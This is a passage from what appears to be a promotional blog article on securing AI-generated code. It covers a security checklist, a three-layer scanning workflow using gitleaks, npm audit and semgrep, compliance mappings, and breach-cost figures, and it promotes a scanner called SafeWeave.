[ ] File paths are sanitized against directory traversal
[ ] User input is escaped before rendering in HTML
[ ] Request body size limits are configured
[ ] File upload types and sizes are restricted

✅ Secrets Management

[ ] No API keys, passwords, or tokens in source code
[ ] .env files are in .gitignore
[ ] No secrets in Dockerfile ENV or ARG instructions
[ ] No secrets in client-side JavaScript bundles
[ ] Git history doesn't contain previously committed secrets

✅ Dependencies

[ ] npm audit / pip audit / cargo audit runs clean
[ ] No dependencies with known critical CVEs
[ ] Lock files are committed and up to date
[ ] No unnecessary AI-suggested packages

✅ Infrastructure

[ ] Containers don't run as root
[ ] .dockerignore excludes .env, .git, node_modules
[ ] HTTPS enforced — no HTTP fallback in production
[ ] CORS configured to allow only specific origins
[ ] Rate limiting on authentication endpoints
[ ] Security headers set: CSP, HSTS, X-Frame-Options

✅ Data Protection

[ ] Sensitive data encrypted at rest
[ ] Database connections use TLS
[ ] Logging doesn't include passwords, tokens, or PII
[ ] Error messages don't expose stack traces to users

Automating Security in the AI Coding Workflow

The most effective approach integrates scanning at three layers:

Layer 1: In-Editor (Real-Time)
    ↓ catches ~80% of issues immediately
Layer 2: Pre-Commit Hooks
    ↓ catches secrets before they enter git history
Layer 3: CI Pipeline
    ↓ catches anything that slipped through

Layer 1 — In-Editor, Real-Time

MCP-compatible security scanners run inside AI code editors. When you prompt your
assistant to scan a project, it runs SAST, secrets detection, and dependency analysis
right in the conversation — findings appear immediately, and you fix them in the same
session.

SafeWeave was designed for exactly this layer — an MCP
server that connects to Cursor, Claude Code, and Windsurf so security becomes part
of the coding conversation, not an afterthought.

Layer 2 — Pre-Commit Hooks

# .pre-commit-config.yaml
repos:
  - repo: https://github.com/gitleaks/gitleaks
    rev: v8.18.0
    hooks:
      - id: gitleaks

Once a secret is committed, it lives in git history forever — even if you delete
it in a later commit.

Layer 3 — CI Pipeline

# GitHub Actions
- name: Security Scan
  run: |
    npm audit --audit-level=high
    npx semgrep --config auto .

The three layers create defense in depth. Most vulnerabilities get caught at Layer 1
before they're even committed.

Compliance Considerations

AI-generated code doesn't get a compliance pass:

Standard	Requirement
SOC 2	Evidence of vulnerability testing — scan reports serve as audit artifacts
PCI-DSS v4.0	Static and dynamic SAST required for any system handling payment data
HIPAA	Security risk analysis required for systems handling PHI — that includes code-level vulns
GDPR	"Appropriate technical measures" for data protection — SQL injection in a user endpoint is the opposite

Security scanners that map findings directly to compliance controls (OWASP Top 10,
SOC 2, PCI-DSS, HIPAA, NIST 800-53) make audits significantly easier — you produce
a report showing findings mapped to specific controls, not a generic vulnerability list.

The Economics: Security Is Cheaper Than a Breach

Scenario	Cost
Average small business data breach	$120,000–$150,000
Fixing a bug in development vs. production	6x cheaper in dev (IBM research)
Finding a SQL injection in your editor	~5 minutes
Finding it after exploitation	The weekend — plus your users' data
Running a full security scan	10–15 seconds

Open source scanners (Semgrep, Gitleaks, npm audit, Trivy, Checkov) are free.
MCP-integrated tools like SafeWeave offer free tiers for
individual developers. Enterprise-grade security no longer requires enterprise budgets.

Conclusion

AI-assisted coding is the future. The productivity gains are real. But productivity
without security produces technical debt that compounds with interest.

The good news: securing AI-generated code doesn't require a dedicated security team
or a six-figure tooling budget. It requires:

Awareness of the vulnerability patterns AI consistently produces
Automated scanning integrated into your existing workflow
A checklist mentality — verify before you deploy

The tools exist. The patterns are well-documented.

The only question is whether you scan before your users do.